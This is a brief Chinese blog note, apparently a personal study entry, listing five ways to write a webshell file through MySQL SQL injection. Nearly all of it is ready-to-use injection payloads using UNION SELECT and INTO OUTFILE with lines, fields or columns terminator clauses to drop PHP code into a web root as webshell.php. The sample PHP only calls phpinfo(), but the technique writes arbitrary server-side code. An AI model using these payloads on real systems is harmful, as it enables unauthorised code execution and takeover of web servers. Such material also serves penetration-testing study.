知識(shí)積累--sql注入寫shell

簡(jiǎn)單記一下看見的五種寫有sql注入的情況下如何寫shell

原文鏈接:https://manning23.github.io/2019/07/23/MYSQL%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%EF%BC%8C%E5%86%99WebShell%E7%9A%845%E7%A7%8D%E6%96%B9%E5%BC%8F/


1.??? union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

2.??? into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

????? limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

3.??? into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

?????? limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

4.??? into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

?????? limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

5.??? into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

?????? limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • rljs by sennchi Timeline of History Part One The Cognitiv...
    sennchi閱讀 7,854評(píng)論 0 10
  • 導(dǎo)出文件_GET_單引號(hào)_雙小括號(hào)_字符型注入 0x01. 分析查詢語句 想不到這件事倒成了重點(diǎn)…這關(guān)把報(bào)錯(cuò)做了處...
    Hyafinthus閱讀 5,299評(píng)論 1 10
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell實(shí)現(xiàn)與隱藏探究 一...
    JackyTsuuuy閱讀 21,215評(píng)論 2 13
  • MSSQL 跨庫查詢(臭要飯的!黑夜) 榨干MS SQL最后一滴血 SQL語句參考及記錄集對(duì)象詳解 關(guān)于SQL S...
    碧海生曲閱讀 5,909評(píng)論 0 1
  • 剩下這區(qū)區(qū)的20多分鐘,想來還是把今天的日更寫一下,雖然并沒有什么意義,但多少是種寄托,有時(shí)候堅(jiān)持一件事,并不一定...
    紅纓閱讀 172評(píng)論 0 0

友情鏈接更多精彩內(nèi)容